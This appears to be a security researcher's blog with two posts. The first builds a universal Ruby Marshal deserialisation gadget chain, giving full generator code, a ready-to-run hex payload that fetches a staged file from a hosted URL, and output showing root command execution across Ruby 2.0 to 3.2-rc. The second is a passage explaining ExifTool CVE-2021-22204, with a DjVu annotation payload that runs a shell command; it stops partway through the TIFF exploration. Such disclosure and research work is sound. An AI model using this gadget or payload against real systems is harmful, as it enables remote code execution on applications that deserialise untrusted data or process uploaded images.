devcraft.io

Round Two: An Updated Universal Deserialisation Gadget for Ruby 2.x-3.x

2022-04-04T09:56:00+00:00

A few months ago I noticed the gadget in my previous article had been patched and no longer worked in Ruby 3.0.3, so I spent a bit of time dusting off the old tools to see if I could find another one.

One of the helper scripts I used is based on the original elttam article. It first autoloads as many classes as it can, then drops into a repl:

def load_classes
  ObjectSpace.each_object do |clazz|
    if clazz.respond_to? :const_get
      Symbol.all_symbols.each do |sym|
        begin
          clazz.const_get(sym)
        rescue NameError
        rescue LoadError
        end
      end
    end
  end
end

def check(functions)
  ObjectSpace.each_object(::Class) do |obj|
    all_methods = (obj.instance_methods + obj.private_instance_methods).uniq

    functions.each do |function|
      if all_methods.include? function
        method_origin = obj.instance_method(function).inspect[/\((.*?)\)/, 1] || obj.to_s
        if method_origin.nil? || method_origin == ''
          method_origin = obj.to_s
        end
        unless ['Kernel', 'Exception', "Struct", "Module"].include? method_origin
          puts obj
          puts "  #{function} defined by #{method_origin}"
          puts "  ancestors = #{obj.ancestors}"
          puts
        end
      end
    end
  end
end

3.times { load_classes }

puts "Enter text:"
$stdin.each_line do |line|
  begin
    puts eval(line)
  rescue => e
    puts e
  end

  puts "Enter text:"
end
# check([:_load, :marshal_load])

Using this allowed me to quickly see if a constant was loaded or use the check function to dump all classes that implemented a method. For instance, all of the loaded classes that implement _load or marshal_load:

check([:_load, :marshal_load])
#<Class:Gem::Specification>
  _load defined by str
  ancestors = [#<Class:Gem::Specification>, Enumerable, Gem::Deprecate, #<Class:Gem::BasicSpecification>, #<Class:Object>, #<Class:BasicObject>, Class, Module, Object, Kernel, BasicObject]

Complex::compatible
  marshal_load defined by _
  ancestors = [Complex::compatible, Object, Kernel, BasicObject]

Rational::compatible
  marshal_load defined by _
  ancestors = [Rational::compatible, Object, Kernel, BasicObject]

Gem::Requirement
  marshal_load defined by array
  ancestors = [Gem::Requirement, Object, Kernel, BasicObject]

Random
  marshal_load defined by _
  ancestors = [Random, Random::Base, Random::Formatter, Object, Kernel, BasicObject]

#<Class:Time>
  _load defined by _
  ancestors = [#<Class:Time>, #<Class:Object>, #<Class:BasicObject>, Class, Module, Object, Kernel, BasicObject]

Gem::Version
  marshal_load defined by array
  ancestors = [Gem::Version, Comparable, Object, Kernel, BasicObject]

Addrinfo
  marshal_load defined by _
  ancestors = [Addrinfo, Object, Kernel, BasicObject]

#<Class:OpenSSL::PKey::EC>
  _load defined by OpenSSL::Marshal::ClassMethods
  ancestors = [#<Class:OpenSSL::PKey::EC>, OpenSSL::Marshal::ClassMethods, #<Class:OpenSSL::PKey::PKey>, #<Class:Object>, #<Class:BasicObject>, Class, Module, Object, Kernel, BasicObject]

...

Even though Gem::Requirement was patched to ensure that @requirements was an array, it could still potentially be a kick-off gadget. The Gem::Version gadget to call to_s that I previously talked about was still available as well. Looking through the other classes, I saw that Gem::Specification could also call to_s on the value of @new_platform, with the bonus that it would not cause an error after returning:

def self._load(str)
    Gem.load_yaml

    array = Marshal.load str

    spec = Gem::Specification.new
    spec.instance_variable_set :@specification_version, array[1]

    current_version = CURRENT_SPECIFICATION_VERSION

    field_count = if spec.specification_version > current_version
      spec.instance_variable_set :@specification_version,
                                 current_version
      MARSHAL_FIELDS[current_version]
    else
      MARSHAL_FIELDS[spec.specification_version]
    end

    if array.size < field_count
      raise TypeError, "invalid Gem::Specification format #{array.inspect}"
    end

    # Cleanup any Psych::PrivateType. They only show up for an old bug
    # where nil => null, so just convert them to nil based on the type.

    array.map! {|e| e.kind_of?(Psych::PrivateType) ? nil : e }

    spec.instance_variable_set :@rubygems_version,          array[0]
    # spec version
    spec.instance_variable_set :@name,                      array[2]
    spec.instance_variable_set :@version,                   array[3]
    spec.date =                                             array[4]
    spec.instance_variable_set :@summary,                   array[5]
    spec.instance_variable_set :@required_ruby_version,     array[6]
    spec.instance_variable_set :@required_rubygems_version, array[7]
    spec.instance_variable_set :@original_platform,         array[8]
    spec.instance_variable_set :@dependencies,              array[9]
    # offset due to rubyforge_project removal
    spec.instance_variable_set :@email,                     array[11]
    spec.instance_variable_set :@authors,                   array[12]
    spec.instance_variable_set :@description,               array[13]
    spec.instance_variable_set :@homepage,                  array[14]
    spec.instance_variable_set :@has_rdoc,                  array[15]
    spec.instance_variable_set :@new_platform,              array[16]
    spec.instance_variable_set :@platform,                  array[16].to_s
    spec.instance_variable_set :@license,                   array[17]
    spec.instance_variable_set :@metadata,                  array[18]
    spec.instance_variable_set :@loaded,                    false
    spec.instance_variable_set :@activated,                 false

    spec
  end

I started searching for a gadget for the other end of the chain (something to gain code execution). After a lot of grepping, I rediscovered Gem::Source::Git ( mentioned in the elttam post). Several methods used the @git variable to shell out, including cache, checkout and rev_parse. The first two methods didn’t seem to be reachable, but rev_parse was called by Gem::RequestSet::Lockfile#add_GIT -> Gem::RequestSet::Lockfile#to_s. This seemed perfect as we already had some kick-off gadgets that could call to_s!

 def rev_parse # :nodoc:
    hash = nil

    Dir.chdir repo_cache_dir do
      hash = Gem::Util.popen(@git, 'rev-parse', @reference).strip
    end

    raise Gem::Exception,
          "unable to find reference #{@reference} in #{@repository}" unless
            $?.success?

    hash
  end

  # Gem::Util
  def self.popen(*command)
    IO.popen command, &:read
  end

The @git and @reference were fully controllable, but the second argument would always be rev-parse. IO.popen has a few different ways that it can be called, one of which is using the final argument as a hash with options. I came up with a two-stage payload which would first write echo hi;id;#: 0: cannot open rev-parse: No such file to the file at /tmp/rev-parse, then execute it with sh rev-parse.

  Gem::Util.popen(["sh", "echo hi;id;#"], "rev-parse", { err: "/tmp/rev-parse"})
  Gem::Util.popen("sh", "rev-parse", { chdir: "/tmp/"})

I started to put the payload together but then ran into a big problem. The rev_parse method called Dir.chdir repo_cache_dir before running @git. Although @root_dir and @name were controllable, uri_hash would always be a sha1 hash:

def repo_cache_dir # :nodoc:
  File.join @root_dir, 'cache', 'bundler', 'git', "#{@name}-#{uri_hash}"
end

def uri_hash # :nodoc:
    require_relative '../openssl'

    normalized =
      if @repository =~ %r{^\w+://(\w+@)?}
        uri = URI(@repository).normalize.to_s.sub %r{/$},''
        uri.sub(/\A(\w+)/) { $1.downcase }
      else
        @repository
      end

    OpenSSL::Digest::SHA1.hexdigest normalized
  end

This meant that there was no way to make repo_cache_dir point to a valid directory, and the call to Dir.chdir would always fail.

Things sat here for a few months until I was reminded by being mentioned in an excellent article about a new rails deserialisation gadget. This got me thinking about the universal gadget again and I decided to continue looking.

I either needed a completely new gadget or find a way to create the required directory so that the call to chdir would succeed. I began the search for anything that called FileUtils#mkdir_p, which turned out to be quite a lot of places. After more grepping and making use of the Call Hierarchy feature in RubyMine, I found a promising candidate at Gem::Source#fetch_spec.

def fetch_spec(name_tuple)
    fetcher = Gem::RemoteFetcher.fetcher

    spec_file_name = name_tuple.spec_name

    source_uri = enforce_trailing_slash(uri) + "#{Gem::MARSHAL_SPEC_DIR}#{spec_file_name}"

    cache_dir = cache_dir source_uri

    local_spec = File.join cache_dir, spec_file_name

    if File.exist? local_spec
      spec = Gem.read_binary local_spec
      spec = Marshal.load(spec) rescue nil
      return spec if spec
    end

    source_uri.path << '.rz'

    spec = fetcher.fetch_path source_uri
    spec = Gem::Util.inflate spec

    if update_cache?
      require "fileutils"
      FileUtils.mkdir_p cache_dir

      File.open local_spec, 'wb' do |io|
        io.write spec
      end
    end

    # TODO: Investigate setting Gem::Specification#loaded_from to a URI
    Marshal.load spec
  end

There was a bit of code to make it through before getting to the mkdir_p call, but it all seemed to be controllable. The fetch_spec method was called in Gem::Resolver::IndexSpecification#spec and the Gem::RequestSet::Lockfile#to_s gadget that was initially used was able to call the spec method!

  def spec # :nodoc:
    @spec ||=
      begin
        tuple = Gem::NameTuple.new @name, @version, @platform

        @source.fetch_spec tuple
      end
  end

The next part was to see if it was possible to get the call to FileUtils.mkdir_p cache_dir to trigger. Controlling cache_dir seemed like it would be easy enough as it was built mainly from attributes of the uri:

  spec_file_name = name_tuple.spec_name
  source_uri = enforce_trailing_slash(uri) + "#{Gem::MARSHAL_SPEC_DIR}#{spec_file_name}"
  cache_dir = cache_dir source_uri

  def enforce_trailing_slash(uri)
    uri.merge(uri.path.gsub(/\/+$/, '') + '/')
  end

  def cache_dir(uri)
    # Correct for windows paths
    escaped_path = uri.path.sub(/^\/([a-z]):\//i, '/\\1-/')
    escaped_path.tap(&Gem::UNTAINT)

    File.join Gem.spec_cache_dir, "#{uri.host}%#{uri.port}", File.dirname(escaped_path)
  end

But there were a few issues. The first was that the call to uri.merge (which is also what + "#{Gem::MARSHAL_SPEC_DIR}#{spec_file_name}" uses) will end up calling merge_path and normalizing the path, which removes any directory traversal in the path. The other was that the call to fetcher.fetch_path could not raise an error or the cache logic would not happen.

    source_uri.path << '.rz'

    spec = fetcher.fetch_path source_uri
    spec = Gem::Util.inflate spec

The cache_dir used the host and port of the URI, but since the instance variables were controllable they did not need to be valid and could be set to anything. I tried out quite a few variations of uris but couldn’t quite get everything to line up. After a while, I noticed that the fetcher supported s3 urls and would try to create a signed url using Gem::S3URISigner#sign before fetching it:

  def sign(expiration = 86400)
    s3_config = fetch_s3_config

    current_time = Time.now.utc
    date_time = current_time.strftime("%Y%m%dT%H%m%SZ")
    date = date_time[0,8]

    credential_info = "#{date}/#{s3_config.region}/s3/aws4_request"
    canonical_host = "#{uri.host}.s3.#{s3_config.region}.amazonaws.com"

    query_params = generate_canonical_query_params(s3_config, date_time, credential_info, expiration)
    canonical_request = generate_canonical_request(canonical_host, query_params)
    string_to_sign = generate_string_to_sign(date_time, credential_info, canonical_request)
    signature = generate_signature(s3_config, date, string_to_sign)

    URI.parse("https://#{canonical_host}#{uri.path}?#{query_params}&X-Amz-Signature=#{signature}")
  end

Since canonical_host was built up from uri.host, if a host of google.com? was used then .s3.#{s3_config.region}.amazonaws.com" would become part of the query string instead. This meant that uri.port could contain a directory traversal for the cache_dir but still have a valid url generated and fetched.

Using this method also meant that we control the contents of the cached file and know it’s location, which could simplify the git gadget a little bit and allow it to run without causing an error:

  Gem::Util.popen("tee", "rev-parse", { in: "/tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/quick/Marshal.4.8/name-.gemspec"}})
  Gem::Util.popen("sh", "rev-parse", {})

This first copies the payload from the cache to ./rev-parse and then executes it. So long as the payload can also be inflated and deserialized into a spec then the whole chain could be run without causing an error.

Putting everything together (after a few small hiccups and lots of debugging) the final gadget was working.

# Autoload the required classes
Gem::SpecFetcher

# create a file a.rz and host it somewhere accessible with https
def generate_rz_file(payload)
  require "zlib"
  spec = Marshal.dump(Gem::Specification.new("bundler"))

  out = Zlib::Deflate.deflate( spec + "\"]\n" + payload + "\necho ref;exit 0;\n")
  puts out.inspect

  File.write("a.rz", out)
end

def create_folder
  uri = URI::HTTP.allocate
  uri.instance_variable_set("@path", "/")
  uri.instance_variable_set("@scheme", "s3")
  uri.instance_variable_set("@host", "gitlab.com/uploads/-/system/personal_snippet/2281350/9d3ba681a22b25b3ad9cf61ed22a9aaa/a.rz?")  # use the https host+path with your rz file
  uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/")
  uri.instance_variable_set("@user", "user")
  uri.instance_variable_set("@password", "password")

  spec = Gem::Source.allocate
  spec.instance_variable_set("@uri", uri)
  spec.instance_variable_set("@update_cache", true)

  request = Gem::Resolver::IndexSpecification.allocate
  request.instance_variable_set("@name", "name")
  request.instance_variable_set("@source", spec)

  s = [request]

  r = Gem::RequestSet.allocate
  r.instance_variable_set("@sorted", s)

  l = Gem::RequestSet::Lockfile.allocate
  l.instance_variable_set("@set", r)
  l.instance_variable_set("@dependencies", [])

  l
end

def git_gadget(git, reference)
  gsg = Gem::Source::Git.allocate
  gsg.instance_variable_set("@git", git)
  gsg.instance_variable_set("@reference", reference)
  gsg.instance_variable_set("@root_dir","/tmp")
  gsg.instance_variable_set("@repository","vakzz")
  gsg.instance_variable_set("@name","aaa")

  basic_spec = Gem::Resolver::Specification.allocate
  basic_spec.instance_variable_set("@name","name")
  basic_spec.instance_variable_set("@dependencies",[])

  git_spec = Gem::Resolver::GitSpecification.allocate
  git_spec.instance_variable_set("@source", gsg)
  git_spec.instance_variable_set("@spec", basic_spec)

  spec = Gem::Resolver::SpecSpecification.allocate
  spec.instance_variable_set("@spec", git_spec)

  spec
end

def popen_gadget
  spec1 = git_gadget("tee", { in: "/tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/quick/Marshal.4.8/name-.gemspec"})
  spec2 = git_gadget("sh", {})

  s = [spec1, spec2]

  r = Gem::RequestSet.allocate
  r.instance_variable_set("@sorted", s)

  l = Gem::RequestSet::Lockfile.allocate
  l.instance_variable_set("@set", r)
  l.instance_variable_set("@dependencies",[])

  l
end

def to_s_wrapper(inner)
  s = Gem::Specification.new
  s.instance_variable_set("@new_platform", inner)
  s
end

folder_gadget = create_folder
exec_gadget = popen_gadget

r = Marshal.dump([Gem::SpecFetcher, to_s_wrapper(folder_gadget), to_s_wrapper(exec_gadget)])

puts r.inspect
puts %{Marshal.load(["#{r.unpack("H*")}"].pack("H*"))}

This gadget currently works on all ruby versions from 2.0 to 3.2rc1:

for i in `seq -f 2.%g 0 7; seq -f 3.%g 0 1; echo 3.2-rc`; do echo -n "ruby:${i} - "; docker run --rm -it ruby:${i} ruby -e 'Marshal.load(["04085b08631547656d3a3a5370656346657463686572753a1747656d3a3a53706563696669636174696f6e02890204085b1849220a332e332e37063a0645546909303049753a0954696d650d808d1ec000000000063a097a6f6e65492208555443063b004630553a1547656d3a3a526571756972656d656e745b065b065b074922073e3d063b0054553a1147656d3a3a56657273696f6e5b0649220630063b0046553b085b065b06400c305b00492200063b0054305b003030546f3a1e47656d3a3a526571756573745365743a3a4c6f636b66696c65073a09407365746f3a1447656d3a3a52657175657374536574063a0c40736f727465645b066f3a2647656d3a3a5265736f6c7665723a3a496e64657853706563696669636174696f6e073a0a406e616d654922096e616d65063b00543a0c40736f757263656f3a1047656d3a3a536f75726365073a09407572696f3a0e5552493a3a485454500b3a0a40706174684922062f063b00543a0c40736368656d654922077333063b00543a0a40686f73744922606769746c61622e636f6d2f75706c6f6164732f2d2f73797374656d2f706572736f6e616c5f736e69707065742f323238313335302f39643362613638316132326232356233616439636636316564323261396161612f612e727a3f063b00543a0a40706f72744922762f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f63616368652f62756e646c65722f6769742f6161612d653161316437373539396266323366656330386532363933663564643431386637376335363330312f063b00543a0a407573657249220975736572063b00543a0e4070617373776f726449220d70617373776f7264063b00543a12407570646174655f6361636865543a1240646570656e64656e636965735b005b007b00753b0002a90204085b1849220a332e332e37063a0645546909303049753a0954696d650d808d1ec000000000063a097a6f6e65492208555443063b004630553a1547656d3a3a526571756972656d656e745b065b065b074922073e3d063b0054553a1147656d3a3a56657273696f6e5b0649220630063b0046553b085b065b06400c305b00492200063b0054305b003030546f3a1e47656d3a3a526571756573745365743a3a4c6f636b66696c65073a09407365746f3a1447656d3a3a52657175657374536574063a0c40736f727465645b076f3a2547656d3a3a5265736f6c7665723a3a5370656353706563696669636174696f6e063a0a40737065636f3a2447656d3a3a5265736f6c7665723a3a47697453706563696669636174696f6e073a0c40736f757263656f3a1547656d3a3a536f757263653a3a4769740a3a0940676974492208746565063b00543a0f407265666572656e63657b063a07696e4922682f746d702f63616368652f62756e646c65722f6769742f6161612d653161316437373539396266323366656330386532363933663564643431386637376335363330312f717569636b2f4d61727368616c2e342e382f6e616d652d2e67656d73706563063b00543a0e40726f6f745f6469724922092f746d70063b00543a10407265706f7369746f727949220a76616b7a7a063b00543a0a406e616d65492208616161063b00543b0f6f3a2147656d3a3a5265736f6c7665723a3a53706563696669636174696f6e073b184922096e616d65063b00543a1240646570656e64656e636965735b006f3b0e063b0f6f3b10073b116f3b120a3b134922077368063b00543b147b003b164922092f746d70063b00543b1749220a76616b7a7a063b00543b18492208616161063b00543b0f6f3b19073b184922096e616d65063b00543b1a5b003b1a5b005b007b00"].pack("H*")) rescue nil'; done
ruby:2.0 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.1 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.2 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.3 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.4 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.5 - rev-parse: 2: rev-parse:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: rev-parse: T0Iu:: not found
0[I: not foundrev-parse: TU:Gem::Version[I0;FU[[@
rev-parse: 2: rev-parse: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.6 - rev-parse: 2:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: T0Iu:: not found
0[I: not foundTU:Gem::Version[I0;FU[[@
rev-parse: 2: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.7 - rev-parse: 2:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: T0Iu:: not found
0[I: not foundTU:Gem::Version[I0;FU[[@
rev-parse: 2: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:3.0 - rev-parse: 2:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: T0Iu:: not found
0[I: not foundTU:Gem::Version[I0;FU[[@
rev-parse: 2: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:3.1 - rev-parse: 2:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: T0Iu:: not found
0[I: not foundTU:Gem::Version[I0;FU[[@
rev-parse: 2: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)
3.2-rc: rev-parse: 2:u:Gem::Specification[I
3.0.8:ETi	I
                 bundler: not found
rev-parse: 2: T0Iu:: not found
0[I: not foundTU:Gem::Version[I0;FU[[@
rev-parse: 2: T0[00TI	ruby;T[{]: not found
uid=0(root) gid=0(root) groups=0(root)

ExifTool CVE-2021-22204 - Arbitrary Code Execution

2021-05-04T10:03:00+00:00

Background

While looking at one of my favourite bug bounty programs, I noticed they were using ExifTool to strip tags from uploaded images. I’d used ExifTool numerous times in the past but didn’t even know what language it was written in. An older version was being used (11.70), so I thought maybe there could be some existing CVEs that could be abused, as parsing file formats is hard.

A quick search showed only one old CVE from 2018, so decided to look at the source instead. It turns out that it is written in Perl! I’ve never really used or reviewed Perl code before, but being a dynamic scripting language the majority of the general concepts were familiar.

I started looking for places that performed file access but without much success. I then looked for places that called eval, and it turned out that it was used a lot:

In Perl, eval can be used with a block to trap exceptions which is why it was being used everywhere. Ignoring all the eval blocks, there were still a fair few interesting results. One of these was located in the ParseAnt method of the DjVu module:

#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    my $dataPt = shift;
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

I had no idea what a DjVu file was, but the ParseAnt method was fairly well commented. The block that contained the eval was when the current match was a quote:

  $tok = '';
  for (;;) {
      # get string up to the next quotation mark
      # this doesn't work in perl 5.6.2! grrrr
      # last Tok unless $$dataPt =~ /(.*?)"/sg;
      # $tok .= $1;
      my $pos = pos($$dataPt);
      last Tok unless $$dataPt =~ /"/sg;
      $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
      # we're good unless quote was escaped by odd number of backslashes
      last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
      $tok .= '"';    # quote is part of the string
  }
  # must protect unescaped "$" and "@" symbols, and "\" at end of string
  $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
  # convert C escape sequences (allowed in quoted text)
  $tok = eval qq{"$tok"};

It would build up a string until another quote was found, taking into account quotes escaped with a backslash. There was then some regex to escape special characters before passing it quoted to qq and then finally passing the result to eval. From the comments, this was done to support C escape sequences, which I guess are similar in Perl. The special characters being escaped were trying to prevent any string interpolation or breaking out of the double quotes when the eval was run.

To try out a few things, I wanted to be able to hit the ParseAnt from an image. Luckily there was an example DjVu.djvu image, but unfortunately, it was using the compressed version of the chunk ANTz instead of the text ANTa.

Looking at the file in a hex editor, the format seemed fairly simple. There was the string DJVIANTz followed by the hex 000002E0. Since that corresponded to the remaining number of bytes in the file, it was most likely the length of the tag. I added a print($$dataPt); to the ProcessAnt method and ran exiftool on the djvu image and the following was printed out:

(metadata
        (Author "Phil Harvey")
        (Title "DjVu Metadata Sample")
        (Subject "ExifTool DjVu test image")
        (Creator "ExifTool")
        (CreationDate "2008-09-23T12:31:34-04:00")
        (ModDate "2008-11-11T09:17:10-05:00")
        (Keywords "ExifTool, Test, DjVu, XMP")
        (Producer "djvused")
        (note "Must escape double quotes (\") and backslashes (\\)")
        (Trapped "Unknown")
        (annote "Did you get this?")
        (url "https://exiftool.org/") )
(xmp "<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>\n\n <rdf:Description rdf:about=''\n  xmlns:album=\"http://ns.adobe.com/album/1.0/\">\n  <album:Notes>Must escape double quotes (&quot;) and backslashes (\\)</album:Notes>\n </rdf:Description>\n\n <rdf:Description rdf:about=''\n  xmlns:dc='http://purl.org/dc/elements/1.1/'>\n  <dc:creator>\n   <rdf:Seq>\n    <rdf:li>Phil Harvey</rdf:li>\n   </rdf:Seq>\n  </dc:creator>\n  <dc:description>\n   <rdf:Alt>\n    <rdf:li xml:lang='x-default'>ExifTool DjVu test image</rdf:li>\n   </rdf:Alt>\n  </dc:description>\n  <dc:rights>\n   <rdf:Alt>\n    <rdf:li xml:lang='x-default'>Copyright 2008 Phil Harvey</rdf:li>\n   </rdf:Alt>\n  </dc:rights>\n  <dc:subject>\n   <rdf:Bag>\n    <rdf:li>ExifTool</rdf:li>\n    <rdf:li>Test</rdf:li>\n    <rdf:li>DjVu</rdf:li>\n    <rdf:li>XMP</rdf:li>\n   </rdf:Bag>\n  </dc:subject>\n  <dc:title>\n   <rdf:Alt>\n    <rdf:li xml:lang='x-default'>DjVu Metadata Sample</rdf:li>\n   </rdf:Alt>\n  </dc:title>\n </rdf:Description>\n\n <rdf:Description rdf:about=''\n  xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>\n  <pdf:Keywords>ExifTool, Test, DjVu, XMP</pdf:Keywords>\n  <pdf:Producer>djvused</pdf:Producer>\n  <pdf:Trapped>/Unknown</pdf:Trapped>\n </rdf:Description>\n\n <rdf:Description rdf:about=''\n  xmlns:xmp='http://ns.adobe.com/xap/1.0/'>\n  <xmp:CreateDate>2008-09-23T12:31:34-04:00</xmp:CreateDate>\n  <xmp:CreatorTool>ExifTool</xmp:CreatorTool>\n  <xmp:ModifyDate>2008-11-11T09:17:10-05:00</xmp:ModifyDate>\n </rdf:Description>\n</rdf:RDF>")

<snip>

Author                          : Phil Harvey
Create Date                     : 2008:09:23 12:31:34-04:00
Modify Date                     : 2008:11:11 09:17:10-05:00
Keywords                        : ExifTool, Test, DjVu, XMP

So the metadata format seems to be bracket indented starting with metadata and followed by tag name and quoted value pairs. I edited the file replacing the DJVIANTz... block with DJVIANTa\x00\x00\x00!(metadata (Author "Phil Harvey")), re-ran exiftool, and the author tag was extracted and displayed!

The Bug

Now I had a way that I could quickly test different combinations, which I combined by adding more print lines to display each time the $tok was modified. I was testing different combinations of new lines and backslashes when the following error was shown:

String found where operator expected at (eval 8) line 2, at end of line
        (Missing semicolon on previous line?)

I had used a backslash followed by a newline then a double quote which hard resulted in the following being evaled:

"a\
""

The second quote was not escaped because in the regex $tok =~ /(\\+)$/ the $ will match the end of a string, but also match before a newline at the end of a string, so the code thinks that the quote is being escaped when it’s escaping the newline.

This was pretty exciting as all that was needed was to make it valid Perl and it would be evaled! I change the metadata to comment out the trailing quote and execute and return date:

(metadata
    (Author "\
" . return `date`; #")
)

Running exiftool on the new image resulting in code execution!

ExifTool Version Number         : 12.23
File Name                       : DjVu.djvu
File Size                       : 376 bytes
File Modification Date/Time     : 2021:05:04 22:50:09+10:00
File Access Date/Time           : 2021:05:04 22:50:09+10:00
File Inode Change Date/Time     : 2021:05:04 22:50:09+10:00
File Permissions                : -rw-r--r--
File Type                       : DJVU (multi-page)
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Subfile Type                    : Single-page image
Image Width                     : 8
Image Height                    : 8
DjVu Version                    : 0.24
Spatial Resolution              : 100
Gamma                           : 2.2
Orientation                     : Unknown (0)
Included File ID                : shared_anno.iff
Author                          : Tue  4 May 2021 22:51:12 AEST.
Image Size                      : 8x8
Megapixels                      : 0.000064

Additional Formats

Having code execution by just passing an unknown file to ExifTool was pretty amazing, but what would be even better was if the bug could be trigged with a valid image in a more common format. That way even if some validation was performed on the image before being passed to ExifTool (for example ensuring that it’s a png or jpeg) then it would still work.

I started looking to see if anything else used the DjVu module, but it was only referenced by the AIFF module and no other formats referenced that one. I remembered that ExifTool could be used to embed and extract jpeg thumbnails, but looking where ThumbnailImage was used it didn’t seem to try and parse the embedded image.

That lead me to look for functions that did parse the image metadata:

#------------------------------------------------------------------------------
# Extract meta information from image
# Inputs: 0) ExifTool object reference
#         1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)

Interestingly the comment mentioned that this could be called recursively if the ReEntry option was specified. Looking at where ExtractInfo was being used lead me to the Exif module:

%Image::ExifTool::Exif::Main = (
  # SNIP

  0xc51b => { # (Hasselblad H3D)
        Name => 'HasselbladExif',
        Format => 'undef',
        RawConv => q{
            $$self{DOC_NUM} = ++$$self{DOC_COUNT};
            $self->ExtractInfo(\$val, { ReEntry => 1 });
            $$self{DOC_NUM} = 0;
            return undef;
        },
    },

So if the EXIF tag 0xc51b was found, the value would be passed to ExtractInfo and the metadata would be parsed, allowing the DjVu bug to be hit! The description at the top of the Exif module was Read EXIF/TIFF meta information, so I started reading about the TIFF format.

There was a sample tif in the test files, and running exiftools with -v10 was very helpful:

exiftool -v10 ./t/images/ExifTool.tif
  ExifToolVersion = 11.85
  FileName = ExifTool.tif
  Directory = ./t/images
  FileSize = 4864
  FileModifyDate = 1618544560
  FileAccessDate = 1618544564
  FileInodeChangeDate = 1618974185
  FilePermissions = 33188
  FileType = TIFF
  FileTypeExtension = TIF
  MIMEType = image/tiff
